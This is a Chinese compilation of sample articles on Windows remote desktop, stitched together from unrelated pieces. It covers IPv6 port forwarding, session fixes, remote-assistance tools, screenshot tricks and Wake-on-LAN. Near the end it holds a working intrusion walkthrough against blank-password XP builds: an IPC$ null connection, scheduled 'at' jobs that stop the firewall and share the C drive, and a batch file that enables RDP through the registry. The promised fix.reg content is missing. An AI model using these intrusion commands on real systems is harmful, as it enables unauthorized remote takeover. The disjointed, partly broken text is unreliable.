前言:一篇好文章的誕生,需要你不斷地搜集資料、整理思路,本站小編為你收集了豐富的遠(yuǎn)程桌面連接命令主題范文,僅供參考,歡迎閱讀并收藏。
關(guān)鍵詞:IPv6;遠(yuǎn)程桌面;端口
中圖分類號(hào):TP393文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1009-3044(2012)08-1747-02
IPv6是Internet Protocol Version 6的縮寫(xiě),是IETF設(shè)計(jì)用于替代現(xiàn)行版本IPv4協(xié)議的下一代IP協(xié)議。IPv4的網(wǎng)絡(luò)地址為32位,而IPv6的網(wǎng)絡(luò)地址為128位。
Windows操作系統(tǒng)下的遠(yuǎn)程桌面是微軟公司為了方便網(wǎng)絡(luò)管理員管理維護(hù)服務(wù)器而推出的一項(xiàng)服務(wù),通過(guò)遠(yuǎn)程桌面協(xié)議RDP(Remote Desktop Protocol)實(shí)現(xiàn)。從Windows 2000 Server版本開(kāi)始引入,網(wǎng)絡(luò)管理員使用遠(yuǎn)程桌面連接程序連接到網(wǎng)絡(luò)任意一臺(tái)開(kāi)啟了遠(yuǎn)程桌面控制功能的計(jì)算機(jī)上,就好比自己操作該計(jì)算機(jī)一樣,運(yùn)行程序,維護(hù)數(shù)據(jù)庫(kù)等。目前很多的管理員都是在Windows XP系統(tǒng)環(huán)境下使用遠(yuǎn)程桌面。
當(dāng)前遠(yuǎn)程桌面被廣大系統(tǒng)管理員用于相關(guān)的遠(yuǎn)程管理中,主要是在IPv4的網(wǎng)絡(luò)環(huán)境下使用。遠(yuǎn)程桌面使用的默認(rèn)端口是3389。
1 Windows下的遠(yuǎn)程桌面
目前計(jì)算機(jī)用戶主要使用微軟操作系統(tǒng)有Windows XP和Windows 7,所以本文主要以這兩種系統(tǒng)為特例進(jìn)行討論。在IPv4環(huán)境下,Windows操作系統(tǒng)使用遠(yuǎn)程桌面非常的簡(jiǎn)單,只需要被控端Windows操作系統(tǒng)開(kāi)啟了遠(yuǎn)程桌面功能和打開(kāi)3389端口。而在IPv6環(huán)境下,由于Windows XP系統(tǒng)的遠(yuǎn)程桌面連接程序不支持128的IPv6地址,所以在默認(rèn)情況下不能正常使用遠(yuǎn)程桌面功能。Windows 7操作系統(tǒng)的遠(yuǎn)程桌面連接程序則可以支持IPv6地址。
雖然遠(yuǎn)程桌面使用方便,但是需要滿足一定的網(wǎng)絡(luò)環(huán)境,如果被控端的計(jì)算機(jī)在網(wǎng)路防火墻或NAT的后臺(tái),那么遠(yuǎn)程桌面功能很難實(shí)現(xiàn)。原因是網(wǎng)絡(luò)防火墻一般會(huì)拒絕3389端口的服務(wù),而NAT不會(huì)把內(nèi)網(wǎng)中被控計(jì)算機(jī)的IP地址映射到公網(wǎng)上。如果要滿足遠(yuǎn)程桌面的需求,就需要網(wǎng)絡(luò)管理員進(jìn)行特殊設(shè)置,但為了網(wǎng)絡(luò)安全,這種需求往往不能被允許。
由于目前支持IPv6的流控設(shè)備和防火墻監(jiān)控設(shè)備應(yīng)用較少,如果計(jì)算機(jī)所連接的網(wǎng)絡(luò)支持IPv6,就可以不用擔(dān)心網(wǎng)絡(luò)防火墻對(duì)應(yīng)用層的阻隔。遠(yuǎn)程桌面可以通過(guò)IPv6來(lái)實(shí)現(xiàn)無(wú)障礙連接。
2 IPv6下遠(yuǎn)程桌面的使用方法
IPv6在國(guó)內(nèi)已經(jīng)得到了廣泛的使用,很多單位或機(jī)構(gòu)直接接入了Cernet2網(wǎng)絡(luò)。而國(guó)內(nèi)的各大網(wǎng)絡(luò)運(yùn)營(yíng)商也加強(qiáng)了對(duì)IPv6的支持。網(wǎng)絡(luò)運(yùn)營(yíng)商通過(guò)隧道技術(shù),普通居民使用寬帶撥號(hào)都可以實(shí)現(xiàn)IPv6的應(yīng)用。而目前IPv6環(huán)境下,兩臺(tái)計(jì)算機(jī)如果都可以得到IPv6地址,就可以突破網(wǎng)絡(luò)防火墻和NAT的限制,實(shí)現(xiàn)應(yīng)用層的服務(wù)。
查看Winsows操作系統(tǒng)IPv6地址的方法是在cmd命令窗口中輸入:netsh interface IPv6 show address,會(huì)顯示出計(jì)算機(jī)的IPv6地址,如圖1所示。
圖1 cmd窗口下查看IPv6地址
在Windows XP系統(tǒng)下如果顯示IPv6沒(méi)有安裝,則輸入netsh interface IPv6 install安裝IPv6協(xié)議即可。
2.1 Winsows 7遠(yuǎn)程桌面連接程序?qū)PV6的連接方法
Windows 7操作系統(tǒng)的遠(yuǎn)程桌面連接程序支持IPv6,所以打開(kāi)遠(yuǎn)程桌面連接程序后,直接在地址欄輸入被控端的IPv6地址,連接遠(yuǎn)程計(jì)算機(jī),即可實(shí)現(xiàn)遠(yuǎn)程桌面的應(yīng)用,如圖2所示:
圖2 Winsows 7遠(yuǎn)程桌面連接IPv6地址
或者在cmd命令窗口下輸入:mstsc -v:2001:da9:9000:c010::134,其中2001:da9:9000:c010::134為遠(yuǎn)程受控端計(jì)算機(jī)的IPv6地址。
2.2 Winsows XP遠(yuǎn)程桌面連接程序?qū)PV6的連接方法
由于Windows XP的遠(yuǎn)程桌面連接程序不支持IPv6,那么廣大的Windows XP用戶就不能再IPv6環(huán)境下直接使用遠(yuǎn)程桌面了,或者用戶不得不把操作系統(tǒng)換成Windows 7。為了解決這個(gè)問(wèn)題,可以采用端口的方法來(lái)實(shí)現(xiàn)Windows XP下遠(yuǎn)程桌面應(yīng)用對(duì)IPv6的支持。
2.2.1受控端計(jì)算機(jī)設(shè)置
在受控端IPv6下指定的3389遠(yuǎn)程桌面連接轉(zhuǎn)發(fā)到本機(jī)IPv4上,命令為:netsh interface portproxy add v6tov4 3389 127.0.0.1 3389,可以使用netsh interface portproxy show all及netstat -ano | find "3389"命令查看相關(guān)信息。如圖3所示。
圖3 cmd窗口下受控端計(jì)算機(jī)的設(shè)置
2.2.2控制端計(jì)算機(jī)設(shè)置
控制端對(duì)本機(jī)指定端口的連接(IPv4下)轉(zhuǎn)發(fā)為對(duì)IPv6遠(yuǎn)程桌面端口的連接(IPv6下)。例如使用命令:netsh interface portproxy add v4tov6 8888 2001:da9:9000:c010::134 3389。如圖4所示:
圖4 cmd窗口下控制端計(jì)算機(jī)的設(shè)置
其中8888為遠(yuǎn)程桌面映射的端口,可以自己隨意設(shè)置,但設(shè)置的端口不能有沖突。2001:da9:9000:c010::134為遠(yuǎn)程受控端計(jì)算機(jī)的IPv6地址。使用者可以根據(jù)自己的需要修改這兩個(gè)參數(shù)。最后打開(kāi)遠(yuǎn)程桌面連接程序,在地址欄輸入127.0.0.1:8888連接遠(yuǎn)程計(jì)算機(jī)。這樣就實(shí)現(xiàn)了Windows XP遠(yuǎn)程桌面對(duì)IPv6的支持,如圖5所示:
圖5
3總結(jié)
本文主要討論了Windows XP/7在IPv6環(huán)境下使用遠(yuǎn)程桌面的方法,由于Windows XP遠(yuǎn)程桌面連接程序設(shè)計(jì)的缺陷,不能支持IPv6的地址,文章提出采用端口的方法,在IPv6及IPv4間進(jìn)行報(bào)文轉(zhuǎn)發(fā),從而間接的實(shí)現(xiàn)了Windows XP遠(yuǎn)程桌面在IPv6環(huán)境下的連接方法。
參考文獻(xiàn):
[1]馮松.遠(yuǎn)程桌面連接技術(shù)的應(yīng)用[J].計(jì)算機(jī)與網(wǎng)絡(luò),2009,20.
如何知道發(fā)生了超限?
一般主機(jī)的遠(yuǎn)程連接數(shù)默認(rèn)設(shè)置為3,由于在控制結(jié)束后沒(méi)有采取正確的取消控制方式或者其他原因,很容易造成“超限”情況,出現(xiàn)這種情況時(shí),會(huì)彈出圖所示窗口提示,確定后就退出了,無(wú)法連接。
常規(guī)解決方法
當(dāng)遠(yuǎn)程電腦連接數(shù)已滿時(shí),一般的方法就是人工到達(dá)遠(yuǎn)程電腦現(xiàn)場(chǎng),進(jìn)行手工操作,終止無(wú)效連接進(jìn)程。這一方法雖然有效,但是太麻煩了,嚴(yán)重影響了遠(yuǎn)程桌面連接的正常使用。
巧用命令行快速解決超限
通過(guò)命令行方式,可以快速解決超限問(wèn)題,而不用親自到達(dá)現(xiàn)場(chǎng)人工解決(本例中,A、B機(jī)均為Windows XP操作系統(tǒng))。
第1步:在A機(jī)中打開(kāi)命令提示符窗口,執(zhí)行telnet命令遠(yuǎn)程登錄B機(jī)(確保B機(jī)的23號(hào)端口已開(kāi)放、無(wú)網(wǎng)絡(luò)防火墻對(duì)A機(jī)進(jìn)行攔截)。
第2步:執(zhí)行“query user”命令(在Windows 2000 Server下,對(duì)應(yīng)命令為“query session”),可以看到遠(yuǎn)程登錄的進(jìn)程名稱。
第3步:執(zhí)行“l(fā)og off 進(jìn)程ID”命令(在Windows 2000 Server下對(duì)應(yīng)命令為“reset session 進(jìn)程ID”)可以終止登錄進(jìn)程。通過(guò)上述命令操作后,遠(yuǎn)程桌面連接就可以繼續(xù)使用了。
遠(yuǎn)程桌面連接是一種遠(yuǎn)程操作計(jì)算機(jī)的模式,它可以用于可視化訪問(wèn)遠(yuǎn)程計(jì)算機(jī)的桌面環(huán)境,用于管理員在客戶機(jī)上對(duì)遠(yuǎn)程計(jì)算機(jī)服務(wù)器進(jìn)行管理。使用過(guò)Net meeting的朋友都會(huì)為對(duì)其遠(yuǎn)程桌面共享功能印象頗為深刻,確實(shí),遠(yuǎn)程共享可以為我們提供很多的方便。由于建立互聯(lián)需要IP地址的呼叫,服務(wù)器也不十分穩(wěn)定,大多數(shù)人恐怕都有過(guò)因?yàn)檎也坏揭粋€(gè)合適的服務(wù)器而苦惱,同時(shí)遠(yuǎn)程桌面連接對(duì)雙方網(wǎng)絡(luò)環(huán)境要求頗高,加上軟件較為繁瑣的設(shè)置和普及率等原因,這一功能一直是少數(shù)人在使用。
在學(xué)校日常工作交流中,計(jì)算機(jī)管理人員常常會(huì)用到遠(yuǎn)程桌面連接功能。其他教師認(rèn)為這樣的功能似乎與自己關(guān)系不大,不過(guò)在實(shí)際使用過(guò)程中,教師有時(shí)會(huì)遇到各種特殊的遠(yuǎn)程桌面連接需求,要想順利滿足這些特殊的連接需求,就必須要掌握一些常用的遠(yuǎn)程桌面連接的使用技巧。
案例1:同事的電腦Windows XP系統(tǒng)出錯(cuò),幫忙重裝系統(tǒng),裝好發(fā)現(xiàn)常用軟件沒(méi)有,如果跑回辦公室拷貝,再安裝,要花費(fèi)很長(zhǎng)時(shí)間,使用遠(yuǎn)程桌面連接技術(shù),辦公室計(jì)算機(jī)的桌面瞬間出現(xiàn)在屏幕上,里面的資源一目了然,很輕松就完成了任務(wù)。
第一步,為主機(jī)添加一個(gè)用于遠(yuǎn)程登錄的用戶。包括設(shè)置用戶名和密碼,權(quán)限屬性等(如圖1所示)。
第二步,在桌面“我的電腦”上點(diǎn)鼠標(biāo)右鍵,選擇“屬性”;在彈出的系統(tǒng)屬性窗口中選擇“遠(yuǎn)程”標(biāo)簽;在標(biāo)簽中找到“遠(yuǎn)程桌面”,在“啟用這臺(tái)計(jì)算機(jī)上的遠(yuǎn)程桌面”前打“√”(如圖2所示);再選擇“選擇遠(yuǎn)程用戶”,在遠(yuǎn)程桌面用戶里點(diǎn)擊“添加”,選擇“立即查找”,找到用于遠(yuǎn)程登錄的用戶后確定即可看到如圖3所示界面,其中test是用于遠(yuǎn)程訪問(wèn)的用戶,Administrator是系統(tǒng)默認(rèn)的用戶,但如果此時(shí)密碼為空,Administrator也不能遠(yuǎn)程訪問(wèn)。
最后,在客戶機(jī)上就可以通過(guò)點(diǎn)擊“開(kāi)始”“程序”“附件”“遠(yuǎn)程桌面連接”或“開(kāi)始”“運(yùn)行”輸入“mstsc”。如圖4所示,輸入IP地址登錄到該計(jì)算機(jī),就像操作自己計(jì)算機(jī)一樣方便和迅捷。
當(dāng)然,有時(shí)我們并不僅僅滿足于調(diào)用文件,也許要解決某些技術(shù)上的問(wèn)題,這時(shí)我們可以開(kāi)啟“遠(yuǎn)程協(xié)助”的功能(如圖2所示)。遠(yuǎn)程協(xié)助是Windows XP系統(tǒng)附帶的一種簡(jiǎn)單的遠(yuǎn)程控制的方法。遠(yuǎn)程協(xié)助的發(fā)起者通過(guò)MSN Messenger向Messenger中的聯(lián)系人發(fā)出協(xié)助要求,在獲得對(duì)方同意后,即可進(jìn)行遠(yuǎn)程協(xié)助,遠(yuǎn)程協(xié)助中被協(xié)助方的計(jì)算機(jī)將暫時(shí)受協(xié)助方控制,計(jì)算機(jī)管理員就可以在被控計(jì)算機(jī)當(dāng)中進(jìn)行系統(tǒng)維護(hù)、安裝軟件、處理計(jì)算機(jī)中的某些問(wèn)題,或者向被協(xié)助者演示某些操作。
使用遠(yuǎn)程協(xié)助時(shí),可在MSN Messenger的主對(duì)話框中單擊“操作尋求遠(yuǎn)程協(xié)助”菜單命令。然后在出現(xiàn)的“尋求遠(yuǎn)程協(xié)助”對(duì)話框中選擇要邀請(qǐng)的聯(lián)系人。當(dāng)邀請(qǐng)接受后,打開(kāi)“遠(yuǎn)程協(xié)助”程序?qū)υ捒?。被邀人單擊“遠(yuǎn)程協(xié)助”對(duì)話框中的“接管控制權(quán)”按鈕就可以操縱邀請(qǐng)人的計(jì)算機(jī)了。
案例2:學(xué)校每天的課間操,因?yàn)閷W(xué)生整隊(duì)入場(chǎng)等時(shí)間是不確定的,需要手動(dòng)來(lái)控制音樂(lè)廣播,計(jì)算機(jī)管理員不可能每次奔波于辦公室和廣播室,這時(shí)我們可以通過(guò)網(wǎng)絡(luò),利用PcAnywhere軟件來(lái)實(shí)現(xiàn)。
PcAnywhere是賽門鐵克公司設(shè)計(jì)的遠(yuǎn)程控制軟件,安裝比較簡(jiǎn)單,運(yùn)行setup.exe后一路回車即可。運(yùn)行PcAnywhere后在主界面中設(shè)置被控端和主控端,通過(guò)主控端連接到被控端要輸入被控端所設(shè)置的身份驗(yàn)證。
在PcAnywhere管理器窗口中,單擊主控端,選擇添加“主控端”,在新主控端中對(duì)連接的屬性加以設(shè)置。
連接信息:主控端和被控端的設(shè)置相同。
設(shè)置:這里用來(lái)設(shè)置使用的連接方式和登錄信息。如果使用局域網(wǎng)或者互聯(lián)網(wǎng)建立連接,需要指定被控端IP地址,同時(shí)需要設(shè)置自己的登錄信息,如賬號(hào)、密碼、登錄的域等(如圖5所示)。
呼叫者:這里用來(lái)設(shè)置被控端中呼叫者的賬號(hào)、密碼等信息,操作與設(shè)置主控端的登錄信息相同。
自動(dòng)化任務(wù):設(shè)置自動(dòng)文件傳輸?shù)茸詣?dòng)化任務(wù)。
安全選項(xiàng):設(shè)置遠(yuǎn)程控制過(guò)程中所使用的數(shù)據(jù)加密級(jí)別。
保護(hù)項(xiàng):可以設(shè)置安全保護(hù)的密碼。
在主控端會(huì)比被控端多一個(gè)連接項(xiàng)“File Transfer”。打開(kāi)它就會(huì)打開(kāi)PcAnywhere文件管理器,你可以遠(yuǎn)程控制被控端計(jì)算機(jī)中的文件資源,可以執(zhí)行創(chuàng)建、刪除、重命名、復(fù)制等一列操作,還可以將被控端計(jì)算機(jī)中的文件和本機(jī)中的文件夾相比較,使得兩臺(tái)不同計(jì)算機(jī)中的文件保持同步,利用這個(gè)管理器,還可以進(jìn)行主控端和被控端計(jì)算機(jī)的文件相互傳輸。
用PcAnywhere控制學(xué)校的服務(wù)器,免去了上下奔波的麻煩,省時(shí)省力,輕松管理學(xué)校的整個(gè)計(jì)算機(jī)網(wǎng)絡(luò),如果有公網(wǎng)IP,在防火墻上做一個(gè)IP映射,那么在任何時(shí)候、任何地方,只要連接到互聯(lián)網(wǎng),就可以遠(yuǎn)程控制服務(wù)器了。
案例3:學(xué)校有一位教師不小心刪除了重要的文件資料,并且把“回收站”也清空了,一下子不知道怎么辦,這位教師向計(jì)算機(jī)管理員求教,計(jì)算機(jī)管理員通過(guò)QQ遠(yuǎn)程協(xié)助,順利地用恢復(fù)工具將誤刪除的資料恢復(fù)過(guò)來(lái)。
騰訊的QQ除了具備網(wǎng)絡(luò)聊天的功能外,還新開(kāi)發(fā)了許多方便實(shí)用的功能,QQ的遠(yuǎn)程協(xié)助就是其中一項(xiàng),下面我們就來(lái)看看如何使用這個(gè)功能,讓遠(yuǎn)程協(xié)助變得更輕松。
(1)“遠(yuǎn)程協(xié)助”功能
要與QQ好友使用遠(yuǎn)程協(xié)助,那么首先打開(kāi)與好友聊天的對(duì)話框,然后點(diǎn)擊右圖中的“應(yīng)用”圖標(biāo),就能找到“遠(yuǎn)程協(xié)助”選項(xiàng)了。
(2)“遠(yuǎn)程協(xié)助”的申請(qǐng)
QQ的“遠(yuǎn)程協(xié)助”功能,必須由需要幫助的一方點(diǎn)擊“遠(yuǎn)程協(xié)助”選項(xiàng)進(jìn)行申請(qǐng),提交申請(qǐng)之后,就會(huì)在對(duì)方的聊天窗口出現(xiàn)提示。
接下來(lái)接受請(qǐng)求方當(dāng)然是點(diǎn)擊“接受”了,這還不夠,QQ比較小心,又會(huì)在申請(qǐng)的一方的對(duì)話框出現(xiàn)一個(gè)對(duì)方已同意你的遠(yuǎn)程協(xié)助請(qǐng)求,“接受”或“謝絕”的提示,只有申請(qǐng)方點(diǎn)擊“接受”之后,遠(yuǎn)程協(xié)助申請(qǐng)才正式完成。
當(dāng)成功建立連接后,協(xié)助方就會(huì)出現(xiàn)要幫助方的桌面了,并且是實(shí)時(shí)刷新的,右邊的窗口就是申請(qǐng)方的桌面了,這時(shí)協(xié)助方的每一步動(dòng)作都盡收眼底。
(3)“遠(yuǎn)程協(xié)助”的開(kāi)啟
要想控制對(duì)方電腦進(jìn)行遠(yuǎn)程協(xié)助,還得由申請(qǐng)方點(diǎn)擊“申請(qǐng)控制”,才能開(kāi)啟“遠(yuǎn)程協(xié)助”功能,在雙方又再次點(diǎn)擊接受之后,才能開(kāi)始控制對(duì)方的電腦。
1.更改組策略――截取UAC圖片
默認(rèn)情況下在當(dāng)前系統(tǒng)彈出UAC攔截窗口時(shí),系統(tǒng)默認(rèn)會(huì)提升桌面安全性,導(dǎo)致無(wú)法運(yùn)行其他截圖程序,此時(shí)可以通過(guò)修改組策略的方法繞開(kāi)這個(gè)限制。
在搜索框輸入“qpedit.msc”啟動(dòng)組策略編輯器,依次展開(kāi)“計(jì)算機(jī)配置一WindOWS設(shè)置安全設(shè)置本地策略安全選項(xiàng)”,在右側(cè)窗口雙擊打開(kāi)“用戶賬戶控制:提示提升時(shí)切換到安全桌面”,將其設(shè)置為“已禁用”(圖1)。
禁用上述策略后現(xiàn)在再打開(kāi)類似注冊(cè)表編輯器、管理員身份運(yùn)行命令提示符這些組件,系統(tǒng)彈出用戶賬戶控制窗口,此時(shí)只要按下AIt+P rintScreen鍵就可以成功進(jìn)行截圖了(圖2)。不過(guò)要注意的是,系統(tǒng)默認(rèn)設(shè)置可以有效阻止惡意程序運(yùn)行,建議完成截圖后再次恢復(fù)組策略默認(rèn)設(shè)置。
2.巧用遠(yuǎn)程桌面截取用戶登錄界面
默認(rèn)情況下如果注銷當(dāng)前用戶,系統(tǒng)所有程序都會(huì)自動(dòng)關(guān)閉,因此常規(guī)的方法很難截取用戶登錄界面圖。WindOWS10的遠(yuǎn)程桌面可以在當(dāng)前桌面環(huán)境下登錄遠(yuǎn)程電腦,因此使用該組件就可以截取到用戶的登錄界面。
首先在局域網(wǎng)內(nèi)任意一臺(tái)WindOWS10電腦設(shè)置窗口輸入“遠(yuǎn)程桌面”,打開(kāi)系統(tǒng)屬性窗口后切換到“遠(yuǎn)程”,單選遠(yuǎn)程桌面選項(xiàng)下的“允許遠(yuǎn)程連接到此計(jì)算機(jī)”,單擊“選擇用戶”,設(shè)置一個(gè)利用遠(yuǎn)程連接的用戶,并記住其登錄密碼和當(dāng)前電腦的內(nèi)網(wǎng)IP地址(圖3)。
接著在需要截圖的WindOWS 10電腦上開(kāi)啟遠(yuǎn)程桌面連接組件,按提示輸入遠(yuǎn)程連接電腦的IP,成功連接后在當(dāng)前電腦桌面看到遠(yuǎn)程用戶的登錄界面,此時(shí)再按下AIf+PrintScreenSysRq鍵就可以成功進(jìn)行截圖了。用同樣的方法可以對(duì)用戶注銷、鎖定等界面進(jìn)行截圖(圖4)。
3.巧用虛擬機(jī)截取各種啟動(dòng)、安裝截圖
對(duì)于電腦的啟動(dòng)界面(如WindOWS10多重啟動(dòng)菜單),系統(tǒng)安裝界面圖片,由于此時(shí)電腦程序都未啟動(dòng),常規(guī)的方法也無(wú)法進(jìn)行截圖。不過(guò)WindOWS10已經(jīng)自帶虛擬機(jī)組件,因此只要在WindOWS10中安裝特定的系統(tǒng)虛擬機(jī)即可實(shí)現(xiàn)截圖。
打開(kāi)控制面板,依次展開(kāi)“程序一啟動(dòng)或關(guān)閉WindOWS功能”,然后在WindOWS功能下面我們找到并勾選Hvper-V,點(diǎn)擊“確定”后按提示安裝虛擬機(jī)組件(圖5)。
重啟電腦之后在所有應(yīng)用中啟動(dòng)“Hyper-V管理工具”,按提示安裝需要截圖的虛擬系統(tǒng),這樣在WindOWS10中啟動(dòng)相應(yīng)的虛擬系統(tǒng)后就可以進(jìn)行截圖了,比如可以直接截取系統(tǒng)安裝界面等(圖6)。用活畫(huà)圖自制特殊界面截圖
4.使用虛擬機(jī)的方法幾乎可以截取各種特殊格式的截圖,不過(guò)虛擬機(jī)的安裝需要花費(fèi)大量的時(shí)間,如果只是截取某一個(gè)簡(jiǎn)單的界面如BlOS設(shè)置,我們還可以使用WindOWS10自帶的畫(huà)圖組件來(lái)手動(dòng)制作。比如UEFI啟動(dòng)界面,通過(guò)相機(jī)的拍攝可以看到,這基本上是一張藍(lán)底白字的字符界面,我們只要在畫(huà)圖中設(shè)置相應(yīng)的顏色和對(duì)應(yīng)的文字即可(D7)。
首先使用相機(jī)將啟動(dòng)界面拍攝出來(lái),導(dǎo)入畫(huà)圖后在原圖的右側(cè)增加適當(dāng)大小的空白區(qū)域,然后使用藍(lán)底填充底色,并根據(jù)原拍攝圖片加上對(duì)應(yīng)的框格,最后使用畫(huà)圖的文字填充工具(高亮顏色使用畫(huà)圖的去色和矩形工具進(jìn)行填充),將文字的顏色設(shè)置為白色,按提示將相應(yīng)的文字填寫(xiě)上去即可(圖8)。
Windows系列的操作系統(tǒng)都提供共享服務(wù),這些共享服務(wù)的主要通道就是IPC。IPC是Internet ProcessConnection的簡(jiǎn)稱,也稱共享命名管道,它是為了讓進(jìn)程間通信而開(kāi)放的命名管道,可以通過(guò)驗(yàn)證用戶名和密碼獲得相應(yīng)的權(quán)限,在遠(yuǎn)程管理計(jì)算機(jī)和查看計(jì)算機(jī)的共享資源時(shí)使用。這種入侵方式在Windows 2000普及的年代非常流行。
默認(rèn)情況下Windows系列的操作系統(tǒng)都支持空連接,空連接是在沒(méi)有信任的情況下與服務(wù)器建立的會(huì)話,換句話說(shuō),它是一個(gè)到服務(wù)器的匿名訪問(wèn)。利用ipc$,連接者可以與目標(biāo)主機(jī)建立一個(gè)空的連接而無(wú)需用戶名與密碼(當(dāng)然,對(duì)方機(jī)器必須開(kāi)了ipc$共享,否則你是連接不上的),而XP系統(tǒng)限制了空連接導(dǎo)出用戶列表的功能,提高了安全性。
默認(rèn)共享是系統(tǒng)安裝完畢后就自動(dòng)開(kāi)啟的共享,也叫管理共享,常被管理員用于遠(yuǎn)程管理計(jì)算機(jī)。在Windows2000/XP及其以上版本中。默認(rèn)開(kāi)啟的共享有“c$”、“d$”、“admin$”、“ipc$”等,我們可以在“運(yùn)行”對(duì)話框中輸入“\\計(jì)算機(jī)名\盤(pán)符$”對(duì)這些資源進(jìn)行訪問(wèn),以上這些共享就叫做默認(rèn)共享。默認(rèn)共享是只面向管理員組用戶開(kāi)啟的共享,也就是說(shuō)只有管理員組的用戶才能訪問(wèn)這些共享,非管理員組用戶(即使是超級(jí)用戶)不能進(jìn)行訪問(wèn)。如果我們?cè)趯?duì)話框中輸入的不是管理員組用戶而是其他用戶組的賬戶和密碼(如guest組、backup operators組、power users組等),系統(tǒng)是不會(huì)讓我們?cè)L問(wèn)該共享資源的。另外密碼不能為空,否則也連不上XP的默認(rèn)共享。
通常是無(wú)法利用IPC入侵原版XP的,最主要的原因是XP與2000在來(lái)訪者的權(quán)限設(shè)置上是不同的,在XP中即使有管理員權(quán)限的用戶和密碼也不一定能建立聯(lián)接或復(fù)制文件。
身份驗(yàn)證:XP默認(rèn)是把從網(wǎng)絡(luò)登錄的所有用戶都按來(lái)賓賬戶處理的,因此即使管理員從網(wǎng)絡(luò)登錄也只具有來(lái)賓的權(quán)限,在XP的(secpol.msc)本地安全設(shè)置/本地策略/安全選項(xiàng)中:
網(wǎng)絡(luò)訪問(wèn):本地帳戶的共享和安全模式,有兩個(gè)選項(xiàng):
經(jīng)典_本地用戶以自己的身份驗(yàn)證
僅來(lái)賓_本地用戶以來(lái)賓身份驗(yàn)證
當(dāng)番茄花園系統(tǒng)安裝完成后,所有的盤(pán)符默認(rèn)共享自動(dòng)關(guān)閉,遠(yuǎn)程桌面關(guān)閉,Remote Registry服務(wù)關(guān)閉,系統(tǒng)只開(kāi)了IPC$通信命名管道,administrator密碼為空,如果安全選項(xiàng)和空口令設(shè)置和原版相同,則系統(tǒng)也將是安全的,然而問(wèn)題出來(lái)了,點(diǎn)開(kāi)始/運(yùn)行輸入secpol.msc,展開(kāi)本地安全設(shè)置/本地策略/安全選項(xiàng)中的“網(wǎng)絡(luò)訪問(wèn):本地帳戶的共享和安全模式”,可以發(fā)現(xiàn)被改為“經(jīng)典”。
空口令限制:在XP的注冊(cè)表中有一項(xiàng)limitblank.passworduse,它是用來(lái)限制空口令連接的
[HKEY_LOcAL_MAcHINE\SYSTEM\ControlSet001\Control\LsaJ]
“l(fā)imitblankpassworduse”=dword:00000001
很明顯看出來(lái),通過(guò)導(dǎo)人注冊(cè)表來(lái)修改安全設(shè)置。
O:代表空密碼有效。1:代表空密碼無(wú)效。
系統(tǒng)默認(rèn)是1,可以有效防止黑客人侵。
而在番茄花園系統(tǒng)中,點(diǎn)開(kāi)始/運(yùn)行輸入Regedit,展開(kāi)[HKEY_LoCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]發(fā)現(xiàn)limitblankpassworduse被改為O。這就意味著,黑客利用了XP管理員的弱口令。
入侵番茄花園版XP,需要針對(duì)XP系統(tǒng)的特點(diǎn),開(kāi)啟和關(guān)閉一些服務(wù)(假設(shè)目標(biāo)IP是192.168.1.5)。
1)net use\\192.168.1.5\IPC$" "/user:"admintitrators"。
看到“命令成功完成”提示,連接成功1
2)net time\\192.168.1.5
查查時(shí)間,發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午5:12,出現(xiàn)“命令成功完成”提示。
3)at\\192.168.1.5 17:14 net stop“Window$Firewall/Internet connection Sharing(ICS)”
用at命令啟動(dòng)net stop關(guān)閉對(duì)方計(jì)算機(jī)中的Windows Firewall/Intemet Connection sharing(ICS)服務(wù)以利于關(guān)閉Windows防火墻。
4)執(zhí)行at\\192.168.1.5檢查任務(wù)是否安排。
5)再次執(zhí)行net time\\192.168.1.5獲得遠(yuǎn)程機(jī)器時(shí)間。
發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午5:29,出現(xiàn)“命令成功完成”提示。
6)執(zhí)行at 17:30\\192.168.1.5 net share diskc=c:
開(kāi)啟192.168.1.5的C盤(pán)共享。
7)打開(kāi)我的電腦,輸入\\192.168.1.5\diskc,新建一個(gè)文本文件,輸入以下內(nèi)容
echo Windows Registry Editor Version 5.00>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\Terminal server]>>3389.reg
echo"fDenyTSConnections"=dword:00000000>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcP]>>3389.reg
echo"PortNumber"=dword:00000d3d>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcpl>>3389.reg
echo"PortNumber"=dword:00000d3d>>3389.reg
regedit/s 3389.reg
del 3389.reg
將文件保存為3389.bat。
8)再次執(zhí)行net time\\192.168.1.5獲得遠(yuǎn)程機(jī)器時(shí)間,發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午6:29,出現(xiàn)“命令成功完成”提示。
9)執(zhí)行at 18:30\\192.168.1.5c:\3389.bat。
10)點(diǎn)“開(kāi)始/所有程序/附件/通訊”,運(yùn)行“遠(yuǎn)程桌面連接”,輸入192.168.1.5即可遠(yuǎn)程操作計(jì)算機(jī)了。
知道漏洞產(chǎn)生的原因后,修補(bǔ)起來(lái)也是相當(dāng)?shù)暮?jiǎn)單,關(guān)鍵是修改注冊(cè)表中的limitblankpassworduse和forceguest的鍵值,將下面的內(nèi)容保存為fix.reg,雙擊fix.reg,提示是否導(dǎo)入注冊(cè)表,點(diǎn)確認(rèn)后即可修補(bǔ)漏洞。
大家知道通過(guò)BIOS設(shè)置,電腦在電源待機(jī)的情況下我們可以通過(guò)鍵盤(pán)、鼠標(biāo)實(shí)現(xiàn)開(kāi)機(jī)。同樣的,現(xiàn)在很多電腦也支持網(wǎng)卡喚醒,即遠(yuǎn)程喚醒Wake On LAN(WOL),現(xiàn)在大部分網(wǎng)卡都支持這個(gè)功能。Windows 10用戶只要打開(kāi)“控制面板網(wǎng)絡(luò)和Internet網(wǎng)絡(luò)連接”,然后雙擊打開(kāi)“以太網(wǎng)”,在打開(kāi)的窗口切換到“屬性網(wǎng)絡(luò)配置”,在打開(kāi)的屬性窗口看是否有類似“Wake on Magic Packet”(通過(guò)魔術(shù)包喚醒)選項(xiàng),如果有并將其值設(shè)置為“Enabled”即可支持遠(yuǎn)程喚醒(圖1)。
